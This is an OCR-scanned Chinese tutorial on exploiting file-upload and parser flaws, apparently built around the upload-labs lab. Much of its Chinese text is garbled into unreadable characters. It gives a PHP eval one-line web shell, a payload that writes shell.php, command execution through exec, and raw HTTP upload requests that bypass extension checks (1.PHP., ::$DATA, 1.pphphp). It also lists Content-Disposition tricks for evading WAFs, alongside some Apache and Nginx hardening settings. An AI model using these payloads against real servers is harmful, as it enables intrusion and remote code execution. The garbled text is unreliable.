(1) nEAE Apache ) conf B X —47H. B AddHandler php5-script .php X R ZE 42 B A2 php BIESCE 4 =
test2.php.jpg tH& LA php SKHAT

(2) RA7E Apache K conf B XH—4TH & AddType application/x-httpd-php .jpg BRfH B4 & jpg, —HEBELL php 77 Rk
1T

BREITR

1.apacheft B X, 21k php XFERISCHIAT, BLECHEmEMA

<Files ~ “.(php.|php3.)”>

Order Allow,Deny
Deny from all
</Files>

2. B SRR IXA 8, BESIMLphp. XK, FTFFapacheffhttpd.confik ZlLoadModule rewrite_module
modules/mod_rewrite.so

45 X, =H)gapache, EM R B F T &7 .htaccess 3 ARG I F:

By
[ ](avascript:void(0)[]

<IfModule mod_ rewrite.c>
RewriteEngine On

RewriteRule .(php.|php3.) /index.
RewriteRule .(pHp.|pHp3.) /index.
RewriteRule .(phP.|phP3.) /index.
RewriteRule .(Php.|Php3.) /index.

RewriteRule .(PHp.|PHp3.) /index.
RewriteRule .(PhP.|PhP3.) /index.
RewriteRule .(pHP.|pHP3.) /index.
RewriteRule .(PHP.|PHP3.) /index.
</IfModule>

ERN
[ 1(javascript:void(0)

(=) nginxfi# 7 H



NginxBR A & LACGIf 7 RS FFPHPRAT I, 38 B A2 /2 7E NginxBc B S 3@ i IE W TR % B SCRIPT_FILENAME .. %435 1]
www.xx.com/phpinfo.jpg/1.phpiX MURLFS, $fastcgiscript_name<# ¥ B N “phpinfo.jog/1.php”, 4R J5 #1 &,
SCRIPT_FILENAMEf£3#4:PHP CGl, {HRPHPRH 4 SBZIXHMISE, K phpinfo jpgfEaPHP STAARHTIE 23X 3t 2 5
fix_pathinfolX MEB T . WMRIFE TIXAEIR, B2 RKEPHP KT 2.

PHP£iAASCRIPT_FILENAME &phpinfo.jpg, 1i1.php~ZPATH_INFO, BT LRt ¥ phpinfo.jpgfE IPHP L4k T
FiRE R

www.xoox.com/UploadFiles/image/1.jpg/1.php
www.xoox.com/UploadFiles/image/1.jpg%00.php
www.xooxx.com/UploadFiles/image/1.jpg/%20\0.php

xx.jpg%00.php (Nginx <8.03 & FHi AR H AT IR IR)

I —FFE: BB T Atestjpg, LT ABBIXA .

<?PHP fputs(fopen('shell.php','w"), '<?php eval($ POST[cmd])?>");?>

5V Hltest jpg/.php, FEIXAN H % Tt &4 f— A& K Sshell.php.

i Fphpstudyiillif, BRINEREEIT (BEARERINKcgifix_pathinfoRIERRG, ERFERIMENT) - nginxiRA1.11.5 (7T I3
AR

INT v = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
& Load URL ( http://127.0.0.1/phpinfo,jpg

% split URL

» Execute

] Postdata [] Referrer @ OxHEX ¥» @™ %URL 3» @ BASE64 I |/nsert string to replace| | Insert replacing string Replace Al

B “http://127.0.0.1/phpinfo.jpg” EFEEIRTITEE .

@ phpinfo() x  +

S C 0 © 127.0.0.1/phpinfo.jpg/.php s

PHP Version 5.3.29 php

System Windows NT 9C21 6.2 build 9200 (Unknow Windows version Enterprise Edition) i586
Build Date Aug 15 2014 19:01:45

Compiler MSVC9 (Visual C++ 2008)

Architecture |x86

Configure cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack” "--
Command disable-zts" "--disable-isapi" "--disable-nsapi" "--without-mssqgl" "--without-pdo-

mssqgl" "--without-pi3web" "--with-pdo-oci=C:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-
sdk\oracle\instantclient11\sdk,shared" "--with-enchant=shared" "--enable-object-out-
dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-

analyze"
Server API CGl/FastCGl
Virtual disabled

BREITR

1568 php.iniXCf, Kicgi.fix_pathinfof & ¥ & MO;
2 FENginXFE B SC A b L R AR



if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;

}

XATARRG Y & B2 ML AC 22 bhtest jpg/a.php FIURLES , KR [B14034% R AXAT .

(9> NS7.5/% tr I

IS7 SRR 5 nginxffI 2L, #B 2 B FphpBc B X, FF/E T cgifix_pathinfo, TiiXFHARnginxal & iis7.54 & KR .
PS: a.aspx.a;.a.aspxjpg...jpg

OxON —AJiE KRG

g

HERZHBEIES, BBEARS A —AEARD (F#Webshel) | H fiwebfikss B %M RPGRERZLRIR, Ritasp.
php~ jsp. aspx#fR ik, 2 —AERDRERH2WE?

FREFEBRELI—AERD:

<?php @eval($_POST ?>

[EAFEH]) RFHCH LAERR, £ERMES b —1ERD, A5 VREEAT DAZE A< @ i i 1) BY Ay SR B4 ) AR 3k B
Fo @FBRNEHEEEHATER, AR . eval O BEERFESWHBEAFERFBRM 2 RS LI
1To $_POST['cmd'] Rn NTUHEIH KRB emdiX NS HE .

AR &M
Hep, RAERGHHEHE=A%MF, MELEIANR:

(1) KRB EEHRT, KRR
(2) 5EARD B TER s

(3) EAERIARLRIEF BT,

IR
R —REARD:

phpil—#JiEALD: <?php @eval($_POST

aspi—Hif 2 eval request

aspx i —HJiE 2 @ Page Language eval (Request.Item

AT A E A X EiE A A B s bR~ asplaspxiphp XXt b, BE HEAIEZ—NITHSCH, EREEARXEER, RETE
SO b A% B it b BT

B A R
HRENLE AR X H B K php—AiEARD:

<?php @eval($_POST ?>

FIRXREAEARRMENER. T —MHUE—LphpWI AT S, REVENRZEEZGE, HENANTTE, FRNE—
Rt FGRZomd, EidpostiRZHE, HERKMMPATH, MABWE, TEBAISH—EERIWFAHITH .

XAEH AT ER?



(1) phpHIRIZESTE <?2php 2> B, IREEHEABEINHRXZphpfRiT, REF EMBENT.
(2) @HFSHEBRDRE, BMEHITHER, AR,

filan -
1
> | <?php
3 | eval($_POST[cmd]);
?>

MERB@, WTE, HMERE

@ logdURL [hitp/f127.00.1 mdcrm/te php
i semum
* Egecute |

Post data Relerres @ OHEX 3 @K %0kl B @ St B

Notice. Use of undefined constant cmd - assumed ‘emd’ in C:\phpStudy\WWWixdems\tx.php on fine 2

Notice| Undefined index_cmd)in C:\phpStudy\WWW\xdems\tx.php bn line 2

HeHF) W) WRS) RV WM EAL) @) Took WO} SOR) WP
mOwW 7

a7 HE , S dMTNI2E % ¢ = _'—i__ilg'l'lm.:m?-i_.l!

o Cr\phgrstucy\WWWisdkms\txphp - Notepads » [Administrator] [R5}

e B B o) el

At aWe? BA—ANREREEN, BBEELRFERAT, REH[MEZNRE: Notice, RENEREHE L. XARRETH

g2 praEiimkEe .
(3) Atta®ERemde?

R EREAXAENRET . phpEHJLANEERZE: ¢ GET. $_PosTHRHFZ —
&, Hposti iz,

o $_POST['a']; B RaXAA

ER: RREERNFHM T, get. post, postRTEHEATREWE, get@7EHE B kurl#E BAHMEHE (Bl php?a=2)

(4) Wi MR eval () Ei% ?

eval(Jt = 5F & 16 N PHPA AL 34T -



Blin: eval("echo 'a'") ; HIEME T EHE: echo 'a' ;FEREF <2php eval($_POST['pw']); ?> B, Fposthi REWEE
pw, ELINEEWEI T : pw=echo 'a' ;IXFFARAZEEAR K <?php eval(echo 'a';"); ?> . ZERIMTF:

T ——
@ Load URL [http://127.0.0.1/xdcms/tx.php

%  Split URL

¥ Execute _

7| Post data Referrer 4% OxHEX ™» &% %URL

Post data cmd=echo 'q’;
- b

q

HEEkEEBMA: MHpostiiEE R Epw, B EpwHEH K FRF 8 L MphpRIDRMAT. FrEltseix ad: MR v, RAEHR
ITH AR5, ittt aREBoEZ EpwE, Mposttéfiis —H1EARYS. REEFHFERBEFRAEMER, ATLHphpE

#: opendir() M readdir() &%, M EMES/NER, B E, BAPhpEE: move_uploaded_file , HAMMHINMIES
. REHATCmdir4, WA exec() .

LIRRTHR R : phpfe B U fhphp.ini B, XEZLHR safe mode = off, RIGHEE K HF# disable_functions =
proc_open, popen, exec, system, shell_exec , itlexecE#H, WfrRi&kHexec (BemsA T HEAEFELThEE, SHZEKD .

REFHR, POSTRIGIT:

cmd=header

exec

print_r($out

12345

EXBEBMNTUE B RAEEIIT T RAMmL. SORFKIEN ZEME, At 4R —A1EEMFETIE!

o Load URL hittpo1 27001 fedcrmettophp
& SpluuRL
L Execute

+ Post data Referrer @K cHEX 3B & wRL B 8 pASEHA BB
Poat data 7 = Papacbit | ol er- B btk et = il )
ewec(ipeontig® Sout)
echo cpres’;

print_n$oar:
ek’ wfpres

BEMEES fitite:

4] = S@ew o5 58

R P e

AT AZERR

jski s



— MR RAE M T L5 —Bjavascriptii A, & LAESHFESR4E, A BLBREABE RAL B,

BT S | B S jpgl prgl.gi BRI SETTESERY « php
C IS S S

ERVRTD AT DUE B I FAREEA LA SO RGHAT T IR
IEE S NCE

if (isset($_POST[ D) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( 5

)

$file name = trim($_FILES[

$file name = deldot($file name);

$file ext strrchr($file_name, )

$file ext str_ireplace( 5 , $file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {
$temp file $ FILES] 10 1;
$img_path UPLOAD_PATH. .date( ).rand(1000,9999) .$file ext;
if (move_uploaded file($temp file, $img path)) {
$is upload = true;
} else {
$msg
)i
} else {
$msg
)i
} else {
$msg UPLOAD_PATH .

EATR ST htaccess i 4T THM, EHEEEN KNEHTH—.
gt ik

JG 8844 BUAPHP RN AT




PHP Version 5.2.17
System Windows NT CISP-PT 5.2 build 3790
Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configure js *—-enable-snapshot-build” "—enable-debug-pack” "
i p pl i:\php-sdkisnap_5_. late” "--with-php-
build=d:\php-sdk\snap_5_ php_build” *--with-pdo-oci=DAphp-
dk levi li \sdk,shared" *--with-oci8=D:\php-sdk !
\instantclient10\sdk shared" *--without-pi3web"
Server APL Apache 2.0 Handler
Virtual Directory |enabled
Support
Configuration File | CAWINDOWS
(php.ini) Path
Loaded Di\upload-labs-en\PHP\php.ini
ion File
Scan this dir for | (none)
iti Aini
files
additional .ini (none)
files parsed
BuB AD ELRYREEN
R Oz O=xs DEsE (Isness Cux O0RF =FE S &8 T ZESHE @ Hadkear ol = %
Encryption + Encoding + SQL~ XSS~ Other » HackBar v2
‘ @ Load URL hitp:/192.168.17 128/upload//1.PHP
§ spitURL
») Execute 1 Pt detn 51 Pnfarrar 5 Honr Amant 5 Sanbine

R

if (isset($_POST[ D) A
if (file_exists(UPLOAD_PATH)) {
$deny _ext = array( s

O

$file name = $ FILES[

$file name = deldot($file name);

$file _ext = strrchr($file_name, );

$file_ext = strtolower($file ext);

$file _ext = str_ireplace( , $file ext);

if (!in_array($file ext, $deny ext)) {
$temp file = $ FILES[ 10 1;

$img_path = UPLOAD_ PATH. .date( ).rand(1000,9999).$file ext;
if (move uploaded file($temp file,$img path)) {

$is upload = true;
} else {
$msg
)i
} else {
$msg
)i
} else {

$msg = UPLOAD_PATH

R BEAAN PR EREATRE, ATERERA T INEkGE.

2 SUIRS



POST IPass-08/index.php HTTPIM A

Host: 19216817128

User-Agent: Mozilla/5.0 (Windows NT 6.1, WinG4d, xG4; rv.64.0) Gecko/20100101 Firefox/64.0
Accept: text/html applicationixhtmi+xmlapplicationfxml;q=0.9**q=0.8
AcceptLanguage: zh-Ch zh;g=0.8,zh-TW,q=0.7 zh-HK g=0.5 en-15,0=0.3,en;q=0.2
AcceptEncoding: gzip, deflate

Referer; hitp 192 168.17.128/Pass-058/index.php

Content-Type: multipartform-data; boundary=-------------------—-—--—— 207002891030152
Content-Length: 332

Connection: close

Upgrade-Insecure-Reguests: 1

----------------------------- 207002891030152
Content-Disposition: form-data; name="upload_file"; filename="1.PHP !
Content-Type: applicationfoctet-stream

=?php

phpinfol;

=

————————————————————————————— 207002891030152
Content-Disposition: form-data; name="submit"

207002991030152--

REed

if (isset($_POST[ D) A{
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( s

$file_name = trim($_FILES]

$file_ext strrchr($file_name, );

$file_ext strtolower($file_ext);

$file_ext str_ireplace( , $file_ext);
$file_ext trim($file_ext);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES[ 10 15
$img_path = UPLOAD_PATH. .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
t else {
$msg
}
} else {
$msg
}
I else {
$msg = UPLOAD_PATH

windows & X SUIF K RUEAT B 3£ BR, BrUAR DVESCIER BN e, AEER
:$DATAZ: T

Flwindowsitk, FIERHRA TN @ :$DATAYSEE, AEEER

Pt



if (isset($_POST[ 1) A
if (file_exists(UPLOAD_PATH)) {
$deny _ext = array( 5

O

] )

$file name = trim($_FILES[

$file name = deldot($file name);

$file ext strrchr($file_name, );

$file ext strtolower($file ext);

$file ext str_ireplace( , $file ext);
$file_ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {
$temp file = $ FILES] 1L 15

$img_path = UPLOAD_PATH. .$file_name;
if (move_uploaded file($temp file, $img_path)) {

$is _upload = true;
} else {

$msg

1
J

} else {

$msg

1
J

} else {

$msg = UPLOAD_PATH .

REXSCHEA AT T A0E, BIBR T XA RBR A, I BB K S0 4 PR B R .



POST [Pass-08findex.php HTTPM 1

Host 182168.17.128

User-Agent: Mozilla/s. 0 (Windows NT 6.1; Wing4,; x64; nv64.0) Gecko/20100101 Firefox'd4.0
Accept: text/html applicationikhtmi+xml applicationfxmlg=0.9 %™ q=0.8
Accept-Language: zh-CH zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5,en-USq=0.3 en;q=0.2
Accept-Encoding: azip, deflate

Referer: hitp:1 92 168.17.128/Pass-08/index.php

Content-Type: multipartfform-data; boundary=---------=-=-mmmmmmmeummn 12370223441170
Content-Length: 329

Connection: close

Uparade-Insecure-Requests: 1

------------------------- 12370223441170
Content-Disposition: form-data; name="upload_file"; flename="1.FHF. I
Content-Type: application/octet-stream

=7php

phpinfa();

=

————————————————————————————— 12370223441170
Content-Disposition: form-data; name="submit’

12370223441170--

REBAITLIE XL 1.PHP. . (R+ZK+5D , @b E)E, XHELAZRA.PHP., BITTSH .

\instantclientlO\sdk shared" *--without-pi3web”

System Windows NT CISP-PT 5.2 build 3790
Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configures *—enable-snapshot-build" *--enable-debug-pack” *--
ith-snapshot-templ \php-sdk\snap_5._
\php-sdk\snap_5. build® "--with-pdo-oci=D\php-

sdk\oracle\instantclient10\sdk shared" *--with-oci8=DA\php-sdki\eracle

Server API Apache 2.0 Handler

Virtual Directory |enabled
Support

Configuration File [ CAWINDOWS
(php.ini) Path

Loaded Dupload-labs-env\PHP\php.ini
ion File

Scan this dir for  [(none)
additional .ini

files
additional .ini (none)
files parsed
& O=zsE HOexs OEtE (smess Cuex OnF =mE S @R 7 ZESHRS @ HackBar

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
hitp:#/192.168.17.128/upload#1.PHP.
¥ spiturRL

Execute
nE [C] Postdata [[] Referrer [0 User Agent [C] Cookies

5] e x

HackBar v2



if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( 5

O O

$file name = trim($_FILES[ 10 1;
$file name str_ireplace($deny ext,"", $file name);
$temp file = $ FILES[ 10 1;
$img_path = UPLOAD_PATH. .$file name;

if (move_uploaded file($temp file, $img path)) {

$is upload = true;
} else {
$msg
)i
t else {
$msg = UPLOAD_PATH .

XELATAT LR BRSO B B BN, BATATLCRARESEE: 1.pphphp

FOST [Pass-10findex.php HTTRM A

Host 19216817128

User-Agent: Mozilla/s.0 (Windows NT 6.1; Wing4, x64; rv.64.0) Gecko/20100101 Firefox/64.0
Accept: textihtml applicationfxhtmi+xml applicationfxmlg=0.9**q=0.8
Accept-Language: zh-CM,zh;q=0.8 zh-TW;0=0.7 zh-HK;y=0.5,2n-U5;q=0.3,en;0=0.2
Accept-Encoding: gzip, deflate

Referer; hitpi192.168.17.128/Pass-10/lindex.php

Content-Type: multipatform-data; boundary=-------------------—--———- 930514328101
Content-Length: 323

Connection: close

Upgrade-Insecure-Requests: 1

----------------------------- 980514328101
Content-Disposition: form-data; name="upload_file" filename="1 .pphphp[
Content-Type: application/octet-stream

=?php

phpinfad;

P

----------------------------- 980514328101
Content-Disposition: form-data; name="submit’

----------------------------- 980514328101~



System Windows NT CISP-PT 5.2 build 3790

Build Date Jan 6 2011 17:26:08
Configure cseript /nologo configures *--enable-snapshot-build" *--ensble-debug-pack” -
Command jith-snapsh: did\snap 5 * *__with-php-

p: o \php-sdk\snap._5_
build=d:\php-sdk\snap_S_2\vc6\&6\php_build" *--with-pdo-oci=D:\php-
sdK\oracle\instantclientl0\sdk shared” *--with-oci8=DAphp-sdkicracle
\instantclient10\sdk shared" *--without-pi3web"

Server APL Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration File | CAWINDOWS
(php.ini) Path
Loaded Di\upload-labs-enPHP\php.ini
Configuration File
Scan this dir for | (none)
additional .ini
files

additional .ini (none)
files parsed

BuB AD

anna1 A9
@ O=s% Ofils OFdE ((eikEE Cus Oas = ME S &E T TESHES @ Hackbar

Encryption + Encoding v SQL + XSS~  Other ~

(@ Load URL hitp:/192.168.17.128/upload/1.PHP.
gg Split URL

») Execute
— Post data Referrer User Agent Cookies

1.5 B MXHHNE, BiE. BEadiTaH.

K4 p 721X B Content-Disposition: form-data; name="file”; filename="ian.php”
#form-data; B N~form-data;

281 B BN G REIT SR

Content-Disposition: form-data; name="file”; filename="yjh.php”
Content-Type: application/octet-stream

# Content-Disposition &% content-Disposition

# form-data BB HForm-data

# Content-Type &N content-Type

3.3 3 I R 2 A SR AT SRl

Content-Disposition: form-data; name="file”; filename="yjh.php”
Content-Type: application/octet-stream

¥ Content-Disposition: form-data '§ 5 J& i 3 in s> — A 24
Hform-data; name="file”; 75 Ja T 3 b B> — N Hg

# Content-Type: application/octet-stream & 5 5 #in—/> %1%

4833 777 BB PR sed

% Content-Disposition: form-data; name="file”; filename="yjh3.php”
# form-data B¥CA f+orm-data
# from-data &N form-d+ata

5.0 b4 Gt
6.HTTP header J& 4 {8 2313

Content-Disposition: form-data; name="file”; filename="yjh.php”
A8 B Beform-data A R LT

Content-Disposition: *; name="file”; filename="yjh.php”

a -

HackBar v



7.HTTP header & ##: 42 #r 53

TEAAD:

Content-Disposition: form-data; name="image”; filename="085733uykwusgcs8w8wky.png"Content-Type: image/png
Sed BT

Content-Disposition: form-data; name="image”; filename="085733uykwusgcs8vw8wky.png

C.php”

MR FHontent-Type: image/jpeg R & Fc, W .phpiic/EmEIe], EHRAEFEZEH, W3 SEREC.php”

8.EMEF I

JEAZ

Content-Type: multipart/form-data; boundary= 471463142114
BE:

Content-Type: multipart/form-data; boundary = 471463142114
boundary/s H A 245

9.8 K mig s

#FIUTF-16. Unicode. XXURL%i %%

WTS-WAF &t k4%

SR

Content-Disposition: form-data; name="up_picture”; filename="xss.php”
TS

Content-Disposition: form-data; name="up_picture”; filename="xss.php”

BE=EERT

BEZSEREAMNBRESRE, EXNXHERNE EEEFRNphp2E TH, Phpitfeid, SFPHP, —AiEECARERS
FXiseiE#EI ],

Content-Disposition: form-data; name="up_picture”; filename="xss.jpg .Php”
fif B = kSt
AR

Content-Disposition: form-data; name="img_crop_file”; flename="1.jpg .Php"Content-Type: image/jpeg
(CECINE

Content-Disposition: form-data; name="img_crop_file”; filename="1.php”

BiE, K=51X B B M kk#E Content-Type: image/jpeg Bl Al 81T

360F Wl L5
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